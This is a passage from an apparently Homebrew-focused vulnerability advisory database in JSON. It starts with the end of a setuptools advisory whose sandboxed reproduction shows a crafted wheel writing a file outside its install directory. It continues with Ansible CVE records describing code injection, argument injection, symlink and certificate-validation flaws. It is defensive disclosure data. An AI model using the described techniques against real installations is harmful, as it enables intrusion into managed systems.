sandbox_destination\n)\n```\n\nThe operation completed without exception.\n\nExpected metadata was created under:\n\n`sandbox\\destination\\EGG-INFO`\n\nbut setuptools also created:\n\n`sandbox\\outside\\__init__.py`\n\nThe file did not exist before execution.\n\nIts contents were:\n\n```python\n__import__('pkg_resources').declare_namespace(__name__)\n```\n\nThe unrelated canary remained byte-identical.\n\nThe sandbox was deleted after recording the evidence.\n```\n\n\n### Impact\n\nA crafted wheel can cause setuptools to create a fixed-content\n`__init__.py` outside the intended installation directory at a\nfilesystem path influenced by the wheel, with the permissions of the\nprocess performing the installation.\n\nThe demonstrated reproduction required the target parent directory to\nalready exist.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-xmj3-9gf7-h52w"},{"type":"WEB","url":"https://github.com/pypa/setuptools/pull/5329"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/6d07b8d17890dda58d944ac51e58f54af92d52af"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v84.1.0"}]}],"ansible@13":[{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2013-2233","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-9x6q-5423-w5v9","CVE-2013-2233","PYSEC-2018-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to cache SSH host keys","details":"Ansible before 1.2.1 makes it easier for remote attackers to conduct man-in-the-middle attacks by leveraging failure to cache SSH host keys.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2233"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/857"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=980821"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9x6q-5423-w5v9"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-36.yaml"},{"type":"WEB","url":"https://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/01/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/02/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2013-4259","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-fj24-ghp9-39v3","CVE-2013-4259","PYSEC-2013-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"}]},"summary":"Ansible uses a socket with predictable filename in /tmp","details":"`runner/connection_plugins/ssh.py` in Ansible before 1.2.3, when using `ControlPersist`, allows local users to redirect a ssh session via a symlink attack on a socket file with a predictable name in `/tmp/`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-4259"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=998223"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2013-1.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-project/UVDYW0HGcNg"},{"type":"WEB","url":"http://www.ansible.com/security"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2014-2686","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-49m5-2838-q2rv","CVE-2014-2686","PYSEC-2020-198"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"}]},"summary":"Ansible unsafe evaluation of some strings","details":"Ansible prior to 1.5.4 mishandles the evaluation of some strings.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-2686"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-198.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!searchin/ansible-project/1.5.4/ansible-project/MUQxiKwSQDc/id6aVaawVboJ"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2014-3498","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-4cvm-5776-jx9f","CVE-2014-3498","PYSEC-2017-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"User module in ansible before 1.6.6 is vulnerable to command execution. Ansible can get the result of remote command in variable, which may come from untrusted source of input. If the content of variable isn't properly filtered and when attempting to use the variable, it will trigger a function that passes it through jinja 2 template engine that can result into arbitrary command execution. Under certain circumstances, unprivileged user on system that is being managed via ansible can execute code on the managing host under UID of running ansible process.\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-3498"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8ed6350e65c82292a631f08845dfaacffe7f07f5"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1335551"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-2.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2014-4657","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-qg47-5px9-32g7","CVE-2014-4657","PYSEC-2020-199"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"}]},"summary":"Ansible Remote Code Execution","details":"The `safe_eval` function in Ansible before 1.5.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4657"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-199.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133852/https://www.securityfocus.com/bid/68232"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2014-4658","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-5g4v-2pc6-4hh4","CVE-2014-4658","PYSEC-2020-200"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Sensitive Files Are Locally Readable","details":"The vault subsystem in Ansible before 1.5.5 does not set the umask before creation or modification of a vault file, which allows local users to obtain sensitive key information by reading a file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4658"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-200.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133853/https://www.securityfocus.com/bid/68233"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2014-4659","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-6667-f46p-pg88","CVE-2014-4659","PYSEC-2020-201"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"}]},"summary":"Ansible sets unsafe permissions for sources.list","details":"Ansible before 1.5.5 sets 0644 permissions for `sources.list`, which might allow local users to obtain sensitive credential information in opportunistic circumstances by reading a file that uses the `&quot;deb http://user:pass@server:port/&quot;` format.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4659"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-201.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200229060001/https://www.securityfocus.com/bid/68234"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2014-4660","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-5xm4-jmpw-p6j3","CVE-2014-4660","PYSEC-2020-202"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible discloses credential information","details":"Ansible before 1.5.5 constructs filenames containing user and password fields on the basis of deb lines in `sources.list`, which might allow local users to obtain sensitive credential information in opportunistic circumstances by leveraging existence of a file that uses the `deb http://user:pass@server:port/` format.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4660"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c4b5e46054c74176b2446c82d4df1a2610eddc08"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-202.yaml"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4660"},{"type":"WEB","url":"https://web.archive.org/web/20200229060002/https://www.securityfocus.com/bid/68231"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/19"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2014-4678","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-66c7-5pwv-mm3j","CVE-2014-4678","PYSEC-2020-203"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Code Injection Vulnerability","details":"The safe_eval function in Ansible before 1.6.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-4657.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4678"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/5429b85b9f6c2e640074176f36ff05fd5e4d1916"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-203.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/message/raw?msg=ansible-announce/ieV1vZvcTXU/5Q93ThkY9rIJ"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4678"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/30"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/07/02/2"},{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/freebsd-vid-2c493ac8-205e-11e5-a4a5-002590263bf5"},{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-4678"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2014-4966","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-wqq5-c89p-3wc3","CVE-2014-4966","PYSEC-2020-204"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Ansible before 1.6.7 does not prevent inventory data with \"{{\" and \"lookup\" substrings, and does not prevent remote data with \"{{\" substrings, which allows remote attackers to execute arbitrary code via (1) crafted lookup('pipe') calls or (2) crafted Jinja2 data.\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4966"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-204.yaml"},{"type":"WEB","url":"http://www.ocert.org/advisories/ocert-2014-004.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2014-4967","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-64cw-m57j-65xj","CVE-2014-4967","PYSEC-2020-205"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Multiple argument injection vulnerabilities in Ansible before 1.6.7 allow remote attackers to execute arbitrary code by leveraging access to an Ansible managed host and providing a crafted fact, as demonstrated by a fact with (1) a trailing \" src=\" clause, (2) a trailing \" temp=\" clause, or (3) a trailing \" validate=\" clause accompanied by a shell command.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4967"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-205.yaml"},{"type":"WEB","url":"http://www.ocert.org/advisories/ocert-2014-004.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2015-3206","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T01:07:33Z","upstream":["GHSA-mffc-9gx5-99g3","CVE-2015-3206","PYSEC-2017-49","PYSEC-2017-66"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"kerberos","resource_purl":"pkg:pypi/kerberos@1.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"kerberos","subject_version":"1.3.1","key":"pkg:pypi/kerberos@1.3.1","resource":"kerberos"}]},"summary":"python-kerberos vulnerable to KDC spoofing attacks","details":"The `checkPassword` function in python-kerberos does not authenticate the KDC it attempts to communicate with, which allows remote attackers to cause a denial of service (bad response), or have other unspecified impact by performing a man-in-the-middle attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3206"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/issues/31"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/commit/9cb61c93f9b24dd18a0a315f3df5445529c5c333"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1223802"},{"type":"PACKAGE","url":"https://github.com/apple/ccs-pykerberos"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/kerberos/PYSEC-2017-49.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pykerberos/PYSEC-2017-66.yaml"},{"type":"WEB","url":"https://pypi.python.org/pypi/kerberos"},{"type":"WEB","url":"https://web.archive.org/web/20150910143429/https://trac.calendarserver.org/ticket/833"},{"type":"WEB","url":"https://web.archive.org/web/20200228090829/http://www.securityfocus.com/bid/74760"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/05/21/3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2015-3908","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-w64c-pxjj-h866","CVE-2015-3908","PYSEC-2015-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible does not verify that the server hostname matches a domain name in certificates","details":"Ansible before 1.9.2 does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3908"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-w64c-pxjj-h866"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2015-1.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-07/msg00051.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-08/msg00029.html"},{"type":"WEB","url":"http://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/07/14/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2015-6240","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-wwwh-47wp-m522","CVE-2015-6240","PYSEC-2017-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strateg